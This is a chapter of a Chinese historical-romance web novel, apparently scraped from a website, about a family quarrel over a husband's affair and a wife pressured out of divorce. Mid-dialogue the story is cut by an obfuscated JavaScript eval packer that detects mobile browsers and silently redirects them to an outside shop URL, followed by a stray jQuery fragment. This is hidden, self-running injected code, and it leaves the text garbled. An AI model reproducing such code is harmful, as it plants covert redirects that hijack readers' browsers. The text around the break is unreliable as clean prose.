热闹繁华的街头停着熟悉的马车,苏穗岁追上林穆和的身影,看见林瑞坐在马车前面,林瑞见她来,撩起一角帘子小声道:“苏小姐,快上来。”林瑞替她搭了把手,苏穗岁这才上了马车。
马车中林穆和沉着脸看着她,她撇撇嘴,“不是你想的那样。”
林穆和今日还穿着官服,怕是出了宫便朝这儿赶来,他表情缓和了些,“你出来见他是为了叶霁的事?”
苏穗岁小声嘟囔一句:“你知道还问。”
林穆和瞧着她撇嘴的模样叹了口气,“可磕碰到哪里?”说罢,便抬了抬她的手,发现手腕处擦破了皮,他拿出随身带的药膏,替她小心翼翼地抹上。
“如此不小心,要不是骆祈安拉住你,你都掉湖里面了。”
药膏碰着伤口火辣辣的疼,她猛地抽回手,赶紧吹了吹,“你既然知道是他帮了我,那你还凶他干什么?莫名其妙!”
林穆和又拉回她的手,“你与他......”
太过亲密。
话到嘴边却没说出口,他实在觉得这些话过于肉麻,有些难以启齿。
苏穗岁笑出声来,将头探到他面前,“你是不是吃醋了?”
林穆和替她擦完药膏,将她的手轻轻松开,甩下一句:“话多。”说罢,便将脸转到了另一边不去看她。
“这么大个人还因为这点小事吃醋?”苏穗岁嘴中嘀咕道,又将打包好的桂花糕拆开递到他手上,“你爱吃的桂花糕,尝尝。”
林穆和一顿,看着她手中包装得精美的糕点,“这也是叶霁同你说的?”
苏穗岁点点头,将糕点放到他面前,“昨日我将叶霁带来的桂花糕吃完了,就当是赔给你。”
林穆和微皱眉头,“这东西哪有赔不赔的道理。”
“那我说了给你买的就是给你买的嘛!”苏穗岁觉得这人实在死脑筋。
辗转间马车停在了府外,苏穗岁入了院中,想着赶紧将国子监此事说与叶霁听,同她商量着准备选试一事。
刚到林殊庭院外的小道,便听见里面有吵闹声。她心想坏了,两人又吵起来了,于是便快步走了进去。
走进屋中一瞧,两人在书房中,书架上的书籍散落一地,叶霁手中拿了好几封信件,纸张有些泛黄,有些崭新,地上还散落了许多。
林殊庭斜眼瞧见站在院外的苏穗岁,她如今是进退两难,出去也不是,进屋也不是。
叶霁顺着他的目光看向院子,抓起信件仔细铺开,“来,我们让岁岁评评理,你与孟家小姐这么多年还有往来,难不成还成我的错了!”说罢,她抓起一封信件,展开念道:“姊音安,许久未见,那日发丝的清香还萦绕在鼻息间,久久不能忘怀......”
林殊庭勃然大怒,抓起她手中的信件撕开,一耳光扇在她脸上,“叶霁!你不要不识抬举!我们林家娶了你是你叶家的福气!”
一声响亮的耳光将看戏的苏穗岁吓到,叶霁痛哭流涕地坐在地上,抓起一封封信件拆开,“对!我是高攀了,是我害得你无法同你心爱的孟家小姐成婚!”
这句话似乎又戳到了他的痛处,他又抬起手欲打叶霁,苏穗岁赶紧跑上前阻拦,“大哥!有话好好说!打女人算什么事!”
林殊庭瞪了她一眼,“还没过门,便管得如此宽,需要我派管事的教教你规矩吗?”
苏穗岁将叶霁挡在身后,“大哥既然知道我还未过门,你的规矩与我何干?到时闹到老太太面前,你看到底是谁遭殃!”
林殊庭气急败坏,抓起桌上的书想将她们俩一块打。
“大哥!”一声吼声在院中传来,林穆和快步走上前,质问道,“你这是想对我新妇做什么?”
林殊庭咽下一口恶气,“穆和,你这新妇实在无礼,连长兄都敢怒斥。”
林穆和挡在苏穗岁面前,冷眼道:“大哥做的事,连我都想怒斥。”
“哎哎哎。”林泉不知道又从什么地方走了出来,“好了好了,先别吵,此事还不能传到祖父祖母耳中,二老身子本就不好,免得又受刺激。”
苏穗岁看了林泉一眼,果然亲兄弟不如堂兄弟,他这种时候还在替林殊庭着想。
叶霁哭哭啼啼地站起来,吼道:“我要和离!”
林殊庭一声冷笑,“离就离,我现在就给你写封和离书把你送回叶家,你看叶家二老还能不能在众人面前抬起头!”
厚颜无耻!苏穗岁脑中只有这四个字,明明做错事情的人是他,他倒还一副高高在上的模样,当真无耻!
叶霁被他这句话说得又小声抽泣了起来,苏穗岁赶紧安抚下来。
林穆和朝着院外的林瑞招了招手,“去请伯父伯母。”
林瑞得了话,赶紧朝外跑去。
没一会儿,林空与徐月容便携手走了进来。苏穗岁是第一次见徐月容,刚见一眼,便觉得此女人不是善茬,一脸恶毒婆婆的模样。
徐月容看着苏穗岁,笑道:“这姑娘便是穆和的新妇吧?”
苏穗岁假笑道:“见过伯母。”
徐月容满意地点点头,坐在了位置上。
林泉缓缓开口,“叶嫂子想和离,听听您们的意见。”
林空瞪了林殊庭一眼,“怎么回事?昨天还好好的,今日怎么就提起了这事!”
叶霁抢过话,将手中的书信拿了出来,“林殊庭这些年与孟家小姐孟姊音一直有往来,而且......而且......”
苏穗岁见她支支吾吾迟迟不肯说的样子实在着急,便上前一步接道:“林殊庭他还在外面养了个舞女!”
徐月容瞟了苏穗岁一眼,“苏家小姐,你是怎么知道此事的?”
“昨日我与穆和去拜见祖母,在湖边的廊道听见的。”
徐月容笑了笑,“看来苏小姐善于......偷听?”
林穆和看了徐月容一眼,冷笑道:“不是偷听,是路过。不过,伯母为何对此事并不惊讶?难道伯母早就知晓这些事?只是在包庇?”
徐月容慌了神,“我并未知晓!我也是刚刚得知。”
“哦?”林穆和勾了勾嘴角,“那最好是这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13276794|140005||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
林空叹了口气,“叶霁你先坐,凡事都还有回旋的余地。”
徐月容走近,拉起叶霁的手,“若是和离,传出去对你名声也不好,若是你回到叶家,大家也会对你指指点点,不如我们再商量一下其他方法?”
叶霁带着哭腔,“什么办法?”
“大不了罚他彻底与孟家小姐断绝来往,把外面的舞女也遣了,如何?”徐月容轻轻擦拭掉她眼角的泪,“我知道这些年你嫁给殊庭受了些委屈,但这么多年也未添个一儿半女,不如就先原谅他,若是他再犯,我们绝不姑息。”
叶霁想说的话实在太多,但要考虑的东西也实在太多,她也只好认命,“那我想回娘家住几日。”
徐月容顺了顺她的发丝,“好,明日我就让殊庭送你回去,顺便给亲家带些补品。”
叶霁点点头,“是。”
苏穗岁憋了一肚子气,这老女人很明显在PUA啊!
待到叶霁回了房,徐月容又对着苏穗岁招了招手,亲切笑道:“你与穆和的亲事日子可定了?穆和阿娘走得早,许多事还得我帮他参谋参谋,下月的中秋如何?团圆的日子又遇上大喜,喜上加喜岂不更好?”
苏穗岁微微躬身,“多谢伯母好意,成亲的日子祖母在挑选,她定会挑个良辰吉日,伯母不用为此事烦恼。”
徐月容有些尴尬地笑了笑,“这样也好,昨日我身子欠佳未来用膳,还是老太太想得周到。”
苏穗岁也笑着点了点头,躬身拜别了她。
出了院子,苏穗岁再也忍不住,对着林穆和一阵吐槽,“你那伯母肯定早就知晓了林殊庭的事,这样了还帮着自家儿子说话,好没道理!真是可惜了叶霁这么好的姑娘!”
林穆和看着她一副打抱不平的样子有些好笑,“徐家是商贾大家,说话跋扈惯了,你不必与她多争论。”
苏穗岁抿抿嘴,“那孟家小姐与林殊庭有何渊源?”
“孟家家主的是朝中的御史大夫,官位显赫,孟姊音是她小女,从前两人便好了一段时间,后来孟家把孟姊音许配给了太尉府的大公子段九龄,两人的这段感情也算是走到了头,不过这么多年林殊庭竟然还与孟姊音有来往,倒也是奇怪。”
“论家世自然是孟家更胜一筹,为何没娶孟小姐?反倒娶了叶霁?”
“徐月容自然想让儿子娶孟家的千金,但是孟家不愿意,那时林殊庭刚入仕,还未分得一官半职,孟家自然不愿意。”林穆和解释道,“后来林殊庭有日陪祖母去上香,恰好遇上了叶霁,两人才开始了一段渊源。”
苏穗岁不禁感叹,“从前听旁人说起过林家大公子,说得是温文尔雅,一表人才,如今了解了才知道真的是烂透了!”
林穆和看着她说话的模样,嘴角浮现了一丝笑意,“我从前听旁人说起苏家大小姐,说得也是才华横溢,慧智兰心,如今一看......”他故意将声音拉长,苏穗岁瞪了他一眼,问道:“如今怎样?”
“如今一看更是柔嘉维泽,冰清玉润。”
“我很喜欢。”